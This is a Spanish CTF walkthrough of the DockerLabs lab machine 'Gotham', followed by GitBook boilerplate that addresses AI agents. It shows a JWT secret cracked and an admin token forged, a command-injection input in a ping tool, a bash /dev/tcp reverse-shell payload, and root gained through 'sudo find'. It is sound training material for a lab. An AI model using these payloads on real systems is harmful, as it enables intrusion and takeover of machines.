> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/gotham.md).

# Gotham

## Introduccion

En esta maquina de DockerLabs se compromete un portal llamado `GOTHAM//NET`. La cadena empieza con enumeracion web y una credencial temporal olvidada en el HTML: `guest:guest`. Desde el dashboard se obtiene una cookie JWT, se crackea el secreto con Hashcat y se firma un nuevo token con rol de administrador.

Con acceso al panel NOC se explota una inyeccion de comandos en una utilidad de ping para obtener shell como `www-data`. En `config.php` aparece una clave reutilizada para la cuenta de mantenimiento `bruce`, y la escalada final se realiza con una regla `sudo` que permite ejecutar `/usr/bin/find` como root.

A fecha de redaccion, no he encontrado writeups publicos de Gotham tras buscar referencias externas, asi que este writeup puede ser de los primeros publicados sobre la maquina.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/BWWPBPmEqw3XAMLejNih" alt="Escaneo Nmap de Gotham"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.9p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.52 Ubuntu |

Nmap tambien detecta:

```
http-title: Gotham City Network
robots.txt: /dashboard.php, /admin.php
```

La web principal muestra un panel de acceso:

<div align="center"><img src="/files/1XU9oj8j3YiBFMQrAXn2" alt="Login GOTHAM NET"></div>

***

## Enumeracion web

Se enumeran rutas con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 \
  -t 60
```

<div align="center"><img src="/files/M4e0a76VDhFGM7j52t0K" alt="Enumeracion web con Gobuster"></div>

Rutas encontradas:

```
index.php
admin.php
config.php
robots.txt
dashboard.php
```

Al revisar el codigo fuente del login aparece una pista directa:

<div align="center"><img src="/files/ocI5KgUTBbD9WrTjyJ9e" alt="Credenciales temporales en comentario HTML"></div>

```html
<!-- TODO: remove the temporary guest:guest account before go-live -- W.E. -->
```

***

## Acceso como guest

Se inicia sesion con:

```
guest:guest
```

El dashboard confirma el acceso, pero con nivel de autorizacion `user`:

<div align="center"><img src="/files/UI4OUw0fWgZSmEf3sQT6" alt="Dashboard como guest"></div>

Aunque aparece un enlace al NOC, la aplicacion indica que solo los administradores pueden acceder.

Interceptando la peticion se observa una cookie `session` con formato JWT:

<div align="center"><img src="/files/CpI7TekKgb93gorAohXE" alt="Cookie JWT de sesion"></div>

***

## Crackeo del JWT

Se guarda el token en un fichero y se prueba con Hashcat en modo JWT:

```bash
hashcat -m 16500 jwt.txt --show
```

<div align="center"><img src="/files/hMcfVmj4CHnqMbd34Wv6" alt="Hashcat revelando secreto del JWT"></div>

El secreto de firma es:

```
batman
```

Con ese secreto se crea un nuevo token con usuario y rol de administrador:

```python
import jwt
import time

secret = "batman"

payload = {
    "user": "admin",
    "role": "admin",
    "iat": 1781477909
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
```

<div align="center"><img src="/files/IaBMedTNxIhUdVc9ltIL" alt="Script para crear JWT admin"></div>

Al ejecutar el script se obtiene el token firmado:

<div align="center"><img src="/files/syQhF17fPijlsJ0ricLr" alt="JWT admin generado"></div>

Se sustituye la cookie `session` desde el navegador:

<div align="center"><img src="/files/XSJIIv0cJXqPy5bzjHC6" alt="Cookie session modificada con token admin"></div>

Al recargar, el dashboard muestra rol `admin`:

<div align="center"><img src="/files/1n5HD6hdzrrZpLL3oSA8" alt="Dashboard con rol admin"></div>

***

## Panel NOC

Con el token de administrador ya se puede entrar en `admin.php`, donde aparece una utilidad de diagnostico para hacer ping a un host:

<div align="center"><img src="/files/2eryI319Tar9yOzOYDAR" alt="Panel NOC diagnostics"></div>

Una prueba normal contra `8.8.8.8` devuelve salida de `ping`:

<div align="center"><img src="/files/pczAK0ZSAtgnum1SexWd" alt="Ping normal desde NOC diagnostics"></div>

***

## Command Injection

Se prueba inyeccion con tuberia y el comando `id`:

```
8.8.8.8 | id
```

<div align="center"><img src="/files/iDIDlh4f8q2vVr5rzSKO" alt="Command injection con id"></div>

La respuesta confirma ejecucion como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Se prepara una reverse shell:

```
7; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
```

<div align="center"><img src="/files/b7RxJHxMwH5lWuL6kr6D" alt="Payload de reverse shell en NOC diagnostics"></div>

Con `nc` escuchando en la maquina atacante:

```bash
nc -lvnp 4444
```

se recibe una shell como `www-data`:

<div align="center"><img src="/files/KBnUURrbT4MBw3rKQCLl" alt="Reverse shell como www-data"></div>

***

## Enumeracion local

Se revisa `/etc/passwd` y aparece el usuario `bruce`:

<div align="center"><img src="/files/BuUBonUmvD0x0SA29SJJ" alt="Usuario bruce en etc passwd"></div>

En el directorio web se lee `config.php`:

<div align="center"><img src="/files/pTS5UxbrASyQYotB7m2r" alt="Credenciales y JWT secret en config.php"></div>

El fichero contiene varias pistas:

```php
$DB_HOST = '127.0.0.1';
$DB_USER = 'gothamdb';
$DB_PASS = 'Arkh4m_Kn1ght!'; // NOTE(W.E.): misma clave usada en la cuenta de mantenimiento
$JWT_SECRET = 'batman';
```

La nota indica que la clave tambien se usa en la cuenta de mantenimiento. Se prueba con `bruce`:

```bash
su bruce
```

<div align="center"><img src="/files/7pfmAO2KSWswPQVNY5ut" alt="Cambio a usuario bruce"></div>

La password valida es:

```
Arkh4m_Kn1ght!
```

***

## Escalada a root

Como `bruce`, se revisan permisos de sudo:

```bash
sudo -l
```

<div align="center"><img src="/files/IrZv7EckxLje9Hfm0UzJ" alt="Permisos sudo de bruce"></div>

El usuario puede ejecutar `/usr/bin/find` como root sin contrasena:

```
(root) NOPASSWD: /usr/bin/find
```

Se abusa de `find` para lanzar una shell:

```bash
sudo find . -exec /bin/sh \; -quit
whoami
```

<div align="center"><img src="/files/Hz4QA3fqAhayzSCm1EN1" alt="Root mediante sudo find"></div>

La salida confirma el compromiso:

```
root
```

***

## Resumen

La cadena completa queda:

1. Reconocimiento de SSH y Apache.
2. Enumeracion de rutas con Gobuster.
3. Lectura de credenciales temporales `guest:guest` en el HTML.
4. Acceso al dashboard como `guest`.
5. Extraccion de cookie JWT.
6. Crackeo del secreto JWT con Hashcat: `batman`.
7. Creacion de JWT con `user=admin` y `role=admin`.
8. Acceso al panel NOC.
9. Command Injection en la utilidad de ping.
10. Reverse shell como `www-data`.
11. Lectura de `config.php` y reutilizacion de password para `bruce`.
12. Escalada a root con `sudo find`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/gotham.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
